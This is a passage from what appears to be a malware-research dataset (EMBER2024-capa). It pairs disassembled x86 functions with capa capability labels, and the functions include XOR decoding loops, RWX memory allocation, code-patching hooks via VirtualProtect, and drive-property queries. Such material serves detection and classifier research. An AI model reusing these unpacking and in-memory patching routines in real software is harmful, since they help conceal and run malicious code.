joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401ea2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410284]
jne 0x401eac
repz ret
jmp fcn.00403e53

Function at 0x403f59
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
pushal
call 0x403f68
pop dword [ebp - 0x3c]
mov eax, 0x403f68
sub dword [ebp - 0x3c], eax
mov dword [ebp - 0x4c], 0xa385f40b
add dword [ebp - 0x4c], 0xaacc5140
mov dword [ebp - 0x48], 0x58200be9
sub dword [ebp - 0x48], 0x25ecbfa4
mov dword [ebp - 0x44], 0x109f51a6
add dword [ebp - 0x44], 0x3bacf288
mov dword [ebp - 0x40], 0xe7541d92
sub dword [ebp - 0x40], 0xe7541d92
lea eax, [ebp - 0x4c]
push eax
mov eax, 0xaae700f8
add eax, 0x5559cf5c
add eax, dword [ebp - 0x3c]
call dword [eax]
mov dword [ebp - 0x4c], 0xe97adfc
sub dword [ebp - 0x4c], 0x9a2544a6
mov dword [ebp - 0x48], 0xb0805306
add dword [ebp - 0x48], 0x90ec0e6f
mov dword [ebp - 0x44], 0xfb627372
add dword [ebp - 0x44], 0x680cf8fa
mov dword [ebp - 0x40], 0x37d2baff
sub dword [ebp - 0x40], 0x37d2baff
lea ebx, [ebp - 0x4c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x3c]
call dword [eax]
push 0x40
push 0x1000
push 0x3c0dc
push 0
call eax
mov ecx, 0x1817ab26
add ecx, 0xe7e8a6af
mov edx, eax
mov edi, 0x41b000
add edi, dword [ebp - 0x3c]
mov esi, 0x1fe063c5
sub dword [ebp - 0x18], 0xcb526f31
mov ebx, dword [edi]
add dword [ebp - 0x28], edx
add ebx, esi
xor dword [ebp - 8], 0xe792749a
mov dword [edx], ebx
add edx, 0x672301ff
sub edx, 0x672301fb
add edi, 0x5d96f7bd
add edi, 0xa2690847
loop 0x404074
add eax, 0xa0e2e218
sub eax, 0xa0e1a7f1
mov ebx, eax
add eax, 5
mov ecx, 0x102f00d8
add ecx, 0xf010ff28
add ecx, dword [ebp - 0x3c]
call ebx
leave
ret
Function at 0x42ebb0
Capabilities:
Encode data using xor

Disassembly:
mov ecx, dword [esp + 8]
push ebx
mov eax, ecx
mov ebx, dword [esp + 0x10]
cdq
and edx, 7
push ebp
add eax, edx
and ecx, 7
sar eax, 3
push esi
mov esi, dword [esp + 0x10]
test eax, eax
mov ebp, ecx
jle 0x42ebfb
push edi
mov edi, eax
push 8
mov ecx, esi
call fcn.0042e820
xor ecx, ecx
and eax, 0xff
mov cl, bh
xor edx, edx
xor eax, ecx
mov dh, bl
mov ebx, dword [eax*4 + 0x435750]
xor ebx, edx
dec edi
jne 0x42ebd6
pop edi
test ebp, ebp
jle 0x42ec27
push 1
mov ecx, esi
call fcn.0042e820
mov ecx, ebx
and ebx, 0x7fff
shr ecx, 0xf
and ecx, 1
xor eax, ecx
shl ebx, 1
test eax, eax
je 0x42ec24
xor ebx, 0x8005
dec ebp
jne 0x42ebff
pop esi
mov eax, ebx
pop ebp
pop ebx
ret

Function at 0x401b66
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410004]
jne 0x401b70
repz ret
jmp fcn.0040324d

Function at 0x403508
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x403517
pop dword [ebp - 0x48]
mov eax, 0xc65ee5b
add eax, 0xf3da46bc
sub dword [ebp - 0x48], eax
mov dword [ebp - 0x58], 0x7d1f325c
sub dword [ebp - 0x58], 0x2ecced11
mov dword [ebp - 0x54], 0x2141f114
add dword [ebp - 0x54], 0x10f15b31
mov dword [ebp - 0x50], 0xd017ac5d
add dword [ebp - 0x50], 0x7c3497d1
mov dword [ebp - 0x4c], 0xdce66128
sub dword [ebp - 0x4c], 0xdce66128
lea eax, [ebp - 0x58]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0x48]
call dword [eax]
mov dword [ebp - 0x58], 0x59f023a9
sub dword [ebp - 0x58], 0xe57dba53
mov dword [ebp - 0x54], 0xc815705
add dword [ebp - 0x54], 0x34eb0a70
mov dword [ebp - 0x50], 0x706d8385
sub dword [ebp - 0x50], 0xcfe1719
mov dword [ebp - 0x4c], 0x2be8e2dd
add dword [ebp - 0x4c], 0xd4171d23
lea ebx, [ebp - 0x58]
push ebx
push eax
mov eax, 0x18669495
sub eax, 0x1825c44d
add eax, dword [ebp - 0x48]
call dword [eax]
push 0x40
push 0x1000
push 0x35368
push 0
call eax
mov ecx, 0xf8b08e3c
sub ecx, 0xf8b0577e
mov edx, eax
mov ebx, 0x8e79b3c8
sub ebx, 0x8e3803c8
add ebx, dword [ebp - 0x48]
mov edi, 0x2111844c
sub edi, 0xf29d1ede
sub dword [ebp - 0x10], esi
mov esi, dword [ebx]
xor dword [ebp - 0x2c], 0x8949a098
sub esi, edi
xor dword [ebp - 0x14], 0x4c526da
mov dword [edx], esi
add dword [ebp - 0x38], 0x7bf2c1b7
add edx, 4
add ebx, 0xce0ff041
sub ebx, 0xce0ff03d
loop 0x403634
add eax, 0x76f8489a
sub eax, 0x76f77acf
xor ebx, ebx
add ebx, eax
add eax, 0x16d4b2cd
add eax, 0xe92b4d38
mov ecx, 0x5371b68f
add ecx, 0xacce4971
add ecx, dword [ebp - 0x48]
call ebx
leave
ret
Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0xfccc1c
Capabilities:
Encode data using xor

Disassembly:
jmp 0xfccc26
pushal
call 0xfccc2c
pop ebp
sub ebp, 0x10
sub ebp, 0xbccc1c
jmp 0xfccc42
mov eax, 0xbccc1c
add eax, ebp
add eax, 0x4c
mov ecx, 0x5a4
mov edx, 0xb75d03b3
xor byte [eax], dl
inc eax
dec ecx
jne 0xfccc59
jmp 0xfccc6c
cmp byte [esi + 0x38], bh
cmp cl, byte [edi + 0x32b3b3b3]
jb 0xfcccc2
mov bl, 0xb3
mov bl, 0xb0
jle 0xfccc88
mov bh, 0xb3
mov bl, 0xb3
or dword [ebx + 0x44b3b3b3], ebx
push ecx
mov al, 0x7b
cmp byte [edx], dh
mov edi, 0xb0b3b3b3
jbe 0xfcccd1
xlatb
xchg edi, eax
dec edi
cmp dh, byte [edi + 0x3dbe397]
dec ebx
xchg ebx, eax
mov bl, 0xdb
fldenv [eax + 0x28]
mov bl, 0xb2
lahf
xchg edi, eax
fcmovnb st(0), st(7)
dec ecx
das
pop ebx
mov dh, 0xb3
mov bl, 0xb3
pop edx
wait
mov bl, 0xb3
mov bl, 0xe6
cmp byte [edi + 0x38], bl
mov ebx, 0x38b3b3b3
mov edi, 0x38b3b3b3
mov bl, 0xb3
mov bl, 0x38
mov dword ds:[0x72b3b3b3], eax
pop edx
mov cl, 0x82
mov cl, 0x30
jno 0xfccc8a
cli
mov esp, 0x4c4c4736
dec esp
out dx, al
jno 0xfccc9c
mov bl, 0x38
aas
xchg edi, eax
mov bh, 0xb3
mov bl, 0xb3
fild dword [ebx]
dec ebx
xchg ebx, eax
mov bl, 0xdb
fldenv [eax + 0x28]
mov bl, 0xb2
lahf
xchg edi, eax
loop 0xfccd4f
mov dh, 0xb3
mov bl, 0xb3
pop edx
invalid
dec esp
dec esp
dec esp
lcall 0xb672, 0x30b28aff
xor byte [ebx - 0x49], bl
pop edx
push cs
dec esp
dec esp
dec esp
lcall 0xb572, 0x30b18ae7
xor byte [ecx - 0x49], bl
xor byte [ebx - 0x4a], bl
pop edx
sbb byte [esp + ecx*2 + 0x4c], cl
cmp byte [edi - 0x6828c169], bl
mov bh, 0x71
mov edi, 0x5f38e6b3
in eax, 0xe4
out 0x38, al
invalid
Function at 0x409860
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x210
mov ebx, dword [ebp + 8]
mov eax, dword [0x431014]
xor eax, ebp
mov dword [ebp - 0x10], eax
lea edi, [ebp - 0x21a]
push 0x20a
push 0
push edi
call fcn.0040c770
add esp, 0xc
push ebx
call fcn.0040a34b
add esp, 4
xor esi, esi
cmp eax, 0x104
ja 0x4098ce
mov esi, dword [ebp + 0xc]
push 0x104
push ebx
push edi
call fcn.0040a49c
add esp, 0xc
push edi
call dword [sym.imp.SHLWAPI.dll_PathStripToRootW]
push edi
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
xor ecx, ecx
cmp eax, 3
sete cl
mov dword [esi], ecx
xor esi, esi
inc esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040af35
mov eax, esi
add esp, 0x210
pop esi
pop edi
pop ebx
pop ebp
ret

Function at 0x419836
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00419a7f

Function at 0x41d3df
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0041d3ea

Function at 0x483354
Capabilities:
Encode data using xor

Disassembly:
jg 0x4833bf
or eax, 0x9a7716e4
push 0x5b7bc56d
out dx, eax
dec edx
mov dh, 0x3f
mov esp, 0x635e53b9
in al, 0x2c
push eax
jnp 0x4833df
mov ecx, 0x7a160f66
jne 0x483376
invalid
inc esp
sbb eax, 0xcf7f4d96
or edi, edi
stosd dword es:[edi], eax
sub al, 0x81
inc ebx
pushfd
out 0x7b, eax
xchg ebx, eax
invalid
mov ecx, 0xf87893ca
test eax, 0xf7dc6863
inc ebx
add dword [ecx - 0x3ad34f33], edi
sub al, 0xc5
cmp eax, 0x6dc1af0d
xor al, 0x51
ja 0x4833a6
out 0xec, al
in al, dx
mov ecx, 0x66757289
dec esp
xchg ebp, eax
xlatb
sub eax, 0xca805a2c
add byte [esi], al
in al, dx
pushal
jbe 0x4833e2
push eax
jnp 0x48344f
aaa
inc ebx
mov dword [eax], esi
loopne 0x4833b5
jae 0x4833ff
std
pop ecx
jmp [eax - 0x381f8357]
out dx, al
invalid
invalid
wait
les esp, [eax - 0x4bd7787]
inc edx
sub dword [eax + edx*8 + 0x60], eax
inc esp
shl byte [eax + 7], 1
pop es
or ah, byte [ebp - 8]
pop esp
sub eax, 0xa56af470
ror dword [esi - 0xf00c3dd], 0x7b
push ss
or esi, dword [ecx + 0x2d]
inc esp
xor dword [esi + 0x3b], edi
mov fs, word [ebx]
cmp al, 0xff
invalid
sub eax, 0x3b7e3144
jno 0x48345d
dec eax
sti
xchg esi, eax
mov ebx, 0x7df0ebe1
cmp edi, 0x771129f2
push cs
wait
cmp bh, dh
add ebx, dword [edx + 0x31]
mov dh, 0x93
loope 0x483466
je 0x483409
and byte [eax], cl
bound ebx, qword [ebp + 0xae442db]
jbe 0x483446
fcomi st(7)
jbe 0x483452
fisttp dword [ebp - 0x5b8e8f4a]
adc byte [0x4622478c], dh
mov word [ebp - 0x79f04b74], fs
cmp dword [ecx - 0x96], 0x17af7bf0
xor ah, byte [ebx - 0x62]
dec eax
invalid
Function at 0x10007640
Capabilities:
Get storage device properties

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x37c8
call fcn.10074cc0
mov eax, dword [0x100a800c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push dword [ecx]
lea eax, [ebp - 0x108]
xor esi, esi
push str..PhysicalDrive_d
push eax
call fcn.10007f10
add esp, 0xc
lea eax, [ebp - 0x108]
push esi
push esi
push 3
push esi
push 3
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x10007863
push 0x2710
lea eax, [ebp - 0x37b8]
mov dword [ebp - 0x37bc], esi
push esi
push eax
mov dword [ebp - 0x37c0], esi
mov dword [ebp - 0x37c8], esi
mov dword [ebp - 0x37c4], esi
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x37bc]
push esi
push eax
push 0x2710
lea eax, [ebp - 0x37b8]
push eax
push 0xc
lea eax, [ebp - 0x37c8]
push eax
push 0x2d1400
push edi
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x10007856
mov edx, dword [ebp - 0x37ac]
lea eax, [ebp - 0x8d8]
push eax
push esi
lea ecx, [ebp - 0x37b8]
call fcn.100074b0
mov edx, dword [ebp - 0x37a8]
lea eax, [ebp - 0xcc0]
push eax
push esi
lea ecx, [ebp - 0x37b8]
call fcn.100074b0
mov edx, dword [ebp - 0x37a4]
lea eax, [ebp - 0x10a8]
push eax
push esi
lea ecx, [ebp - 0x37b8]
call fcn.100074b0
mov edx, dword [ebp - 0x37a0]
lea eax, [ebp - 0x4f0]
push eax
push 1
lea ecx, [ebp - 0x37b8]
call fcn.100074b0
add esp, 0x20
cmp byte [0x100aa428], 0
jne 0x10007819
movsx eax, byte [ebp - 0x4f0]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_isalnum]
add esp, 4
test eax, eax
jne 0x10007792
movsx eax, byte [ebp - 0x4dd]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_isalnum]
add esp, 4
test eax, eax
je 0x10007819
xor ecx, ecx
nop dword [eax]
nop dword [eax + eax]
mov al, byte [ebp + ecx - 0x8d8]
lea ecx, [ecx + 1]
mov byte [ecx + 0x100aa027], al
test al, al
jne 0x100077a0
xor ecx, ecx
nop word [eax + eax]
mov al, byte [ebp + ecx - 0xcc0]
lea ecx, [ecx + 1]
mov byte [ecx + 0x100a9827], al
test al, al
jne 0x100077c0
xor ecx, ecx
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x4f0]
lea ecx, [ecx + 1]
mov byte [ecx + 0x100aa427], al
test al, al
jne 0x100077e0
xor ecx, ecx
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x10a8]
lea ecx, [ecx + 1]
mov byte [ecx + 0x100a9c27], al
test al, al
jne 0x10007800
mov esi, 1
push 0x2710
lea eax, [ebp - 0x37b8]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x37bc]
push 0
push eax
push 0x2710
lea eax, [ebp - 0x37b8]
push eax
push 0
push 0
push 0x700a0
push edi
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
jmp 0x1000785c
call dword [sym.imp.KERNEL32.dll_GetLastError]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
xor ecx, ebp
pop esi
call fcn.10073919
mov esp, ebp
pop ebp
ret
Function at 0x10008980
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd0
mov eax, dword [0x100a800c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
test esi, esi
je 0x10008a01
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 0xd0]
push eax
push 0x40
push 4
push esi
call edi
mov eax, dword [esi]
push 0
push dword [ebp - 0xd0]
mov dword [ebp - 0xcc], eax
push 4
push esi
call edi
xor eax, eax
nop word [eax + eax]
xor byte [ebp + eax - 0xcc], al
inc eax
cmp eax, 4
jb 0x100089d0
lea eax, [ebp - 0xd0]
push eax
push 0x40
push 4
push esi
call edi
mov eax, dword [ebp - 0xcc]
push 0
push dword [ebp - 0xd0]
mov dword [esi], eax
push 4
push esi
call edi
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.10073919
mov esp, ebp
pop ebp
ret 4

Function at 0x10008a20
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xcc
mov eax, dword [0x100a800c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
test eax, eax
je 0x10008a67
mov eax, dword [eax]
mov dword [ebp - 0xcc], eax
xor eax, eax
xor byte [ebp + eax - 0xcc], al
inc eax
cmp eax, 4
jb 0x10008a44
mov eax, dword [ebp - 0xcc]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10073919
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
call fcn.10073919
mov esp, ebp
pop ebp
ret 4

Function at 0x10008a80
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100750fd
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
push esi
mov eax, dword [0x100a800c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], ecx
cmp dword [0x100a8e74], 0x10
mov eax, 0x100a8e60
cmovae eax, dword [0x100a8e60]
cmp byte [eax], 0
je 0x10008b9a
mov ecx, dword [ebp + 8]
cmp byte [ecx], 0
je 0x10008b9a
cmp dword [0x100a8ae4], 0x10
mov eax, 0x100a8ad0
cmovae eax, dword [0x100a8ad0]
cmp byte [eax], 0
je 0x10008b9a
mov esi, 0x100aadd0
mov edx, ecx
sub esi, ecx
mov al, byte [edx]
lea edx, [edx + 1]
mov byte [esi + edx - 1], al
test al, al
jne 0x10008af6
mov edx, 0x100aea20
sub edx, ecx
nop word [eax + eax]
mov al, byte [ecx]
lea ecx, [ecx + 1]
mov byte [edx + ecx - 1], al
test al, al
jne 0x10008b10
mov ecx, dword [0x100ab690]
mov edx, 0x100a8e60
cmp dword [0x100a8e74], 0x10
push 0x100aadd0
cmovae edx, dword [0x100a8e60]
mov eax, dword [ecx]
push edx
call dword [eax + 8]
test eax, eax
jne 0x10008b9a
mov ecx, 0x98
xor edx, edx
nop dword [eax]
mov al, byte [edx + 0x10097ab8]
xor al, cl
inc ecx
mov byte [ebp + edx - 0x28], al
and ecx, 0x800000ff
jns 0x10008b6d
dec ecx
or ecx, 0xffffff00
inc ecx
inc edx
cmp edx, 0x14
jl 0x10008b50
mov byte [ebp - 0x14], 0
mov ecx, dword [ebp - 0x10]
mov dword [ebp - 4], 0
mov eax, dword [0x100ae42c]
mov esi, dword [eax]
mov eax, dword [ecx]
call dword [eax + 0x4c]
mov ecx, dword [0x100ae42c]
push eax
lea eax, [ebp - 0x28]
push eax
call dword [esi]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x10008bb0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1007512d
mov eax, dword fs:[0]
push eax
push esi
push edi
mov eax, dword [0x100a800c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 0
lea esi, [ebp + 8]
cmp dword [ebp + 0x1c], 0x10
cmovae esi, dword [ebp + 8]
lea ecx, [esi + 1]
nop dword [eax]
mov al, byte [esi]
inc esi
test al, al
jne 0x10008bf0
sub esi, ecx
push esi
call fcn.1007424e
add esp, 4
xor edx, edx
mov edi, eax
test esi, esi
js 0x10008c1b
nop word [eax + eax]
xor byte [edx + edi], dl
lea ecx, [edx + edi]
inc edx
cmp edx, esi
jle 0x10008c10
mov edx, dword [ebp + 0x1c]
cmp edx, 0x10
jb 0x10008c51
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10008c47
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x10008c47
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.10074240
add esp, 8
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 0x18

Function at 0x1000a020
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x100a800c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, dword [ebp + 0xc]
xor esi, esi
test edi, edi
js 0x1000a057
nop
lea eax, [ebp - 8]
push eax
push 0x40
push 4
lea eax, [ebx + esi]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
inc esi
cmp esi, edi
jle 0x1000a040
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10073919
mov esp, ebp
pop ebp
ret 8

Function at 0x1000a310
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x100a800c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push edi
mov edi, dword [ebp + 8]
lea eax, [ebp - 8]
push eax
push 0x40
push 4
mov ebx, dword [edi]
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, dword [ebp + 0xc]
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 8]
mov dword [edi], ecx
push 4
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, dword [ebp - 4]
mov eax, ebx
pop edi
xor ecx, ebp
pop ebx
call fcn.10073919
mov esp, ebp
pop ebp
ret 8
Function at 0x1000a360
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x100a0dd8
push 0x10073ba9
mov eax, dword fs:[0]
push eax
sub esp, 0x18
mov eax, dword [0x100a800c]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
mov esi, dword [ebp + 8]
mov dword [ebp - 4], 0
lea eax, [ebp - 0x20]
push eax
push 0x40
mov edi, dword [ebp + 0x10]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [ebp + 0xc]
sub eax, esi
sub eax, 5
mov byte [esi], 0xe8
mov dword [esi + 1], eax
mov eax, 5
mov dword [ebp - 0x28], eax
cmp eax, edi
jae 0x1000a3d2
mov byte [esi + eax], 0x90
inc eax
jmp 0x1000a3c4
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 0x20]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
jmp 0x1000a3ec
mov dword [ebp - 4], 0xfffffffe
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.10073919
mov esp, ebp
pop ebp
ret 0xc
Function at 0x100160b0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x100a800c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, ecx
mov eax, edx
mov dword [ebp - 0xc], eax
cmp ebx, 0x1000
jbe 0x10016107
test eax, eax
je 0x10016107
push edi
mov edi, dword [ebp + 8]
test edi, edi
je 0x10016106
lea eax, [ebp - 8]
push eax
push 0x40
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push edi
push dword [ebp - 0xc]
push ebx
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.10073919
mov esp, ebp
pop ebp
ret

Function at 0x10016120
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x100a800c]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
mov edi, ecx
cmp edi, 0x1000
jbe 0x1001615d
lea eax, [ebp - 8]
push eax
push 0x40
push 1
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 8]
mov byte [edi], 0xcc
push eax
push dword [ebp - 8]
push 1
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop edi
call fcn.10073919
mov esp, ebp
pop ebp
ret

Function at 0x10016170
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x100a800c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push edi
mov edi, dword [0x100ac82c]
mov ebx, edx
cmp edi, 0x1000
jbe 0x100161b9
test ebx, ebx
je 0x100161b9
lea eax, [ebp - 8]
push eax
push 0x40
push 1
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov al, byte [ebx]
mov byte [edi], al
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push 1
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop ebx
call fcn.10073919
mov esp, ebp
pop ebp
ret

Function at 0x10016490
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x100a800c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
cmp ebx, 0x1000
jbe 0x100164ee
test edi, edi
je 0x100164ee
push esi
push edi
call fcn.1007424e
add esp, 4
mov esi, eax
lea eax, [ebp - 8]
push eax
push 0x40
push edi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push edi
push ebx
push esi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
mov eax, esi
pop esi
pop edi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10073919
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
xor ecx, ebp
pop ebx
call fcn.10073919
mov esp, ebp
pop ebp
ret 8
Function at 0x10016510
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x100a800c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
push edi
call fcn.1007424e
add esp, 4
mov ebx, eax
lea eax, [ebp - 8]
mov dword [ebp - 0xc], ebx
push eax
push 0x40
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test edi, edi
jle 0x1001657e
sub ebx, esi
nop dword [eax + eax]
push 4
push esi
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x10016562
mov al, byte [esi]
mov byte [ebx + esi], al
inc esi
sub edi, 1
jne 0x10016550
mov eax, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10073919
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [ebp - 4]
mov eax, ebx
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10073919
mov esp, ebp
pop ebp
ret 8

Function at 0x100165a0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x100a800c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 0xc]
push edi
push esi
call fcn.1007424e
add esp, 4
mov ebx, eax
lea eax, [ebp - 0xc]
mov dword [ebp - 0x30], ebx
push eax
push 0x40
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, dword [ebp + 8]
mov edi, ebx
lea eax, [esi + ecx]
mov dword [ebp - 0x2c], eax
nop dword [eax]
push 0x1c
lea eax, [ebp - 0x28]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
mov esi, dword [ebp - 0x1c]
mov ebx, dword [ebp - 0x28]
cmp edi, 0x1000
jbe 0x10016631
test ebx, ebx
je 0x10016631
test esi, esi
je 0x10016631
lea eax, [ebp - 8]
push eax
push 0x40
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push esi
push ebx
push edi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov esi, dword [ebp - 0x1c]
mov ebx, dword [ebp - 0x28]
lea ecx, [ebx + esi]
add edi, esi
cmp ecx, dword [ebp - 0x2c]
jb 0x100165e0
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x30]
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.10073919
mov esp, ebp
pop ebp
ret 8

Function at 0x10016660
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x100a800c]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
mov edi, dword [ebp + 8]
cmp edi, 0x1000
jbe 0x1001669e
lea eax, [ebp - 8]
push eax
push 0x40
push 1
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 8]
mov byte [edi], 0xcc
push eax
push dword [ebp - 8]
push 1
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
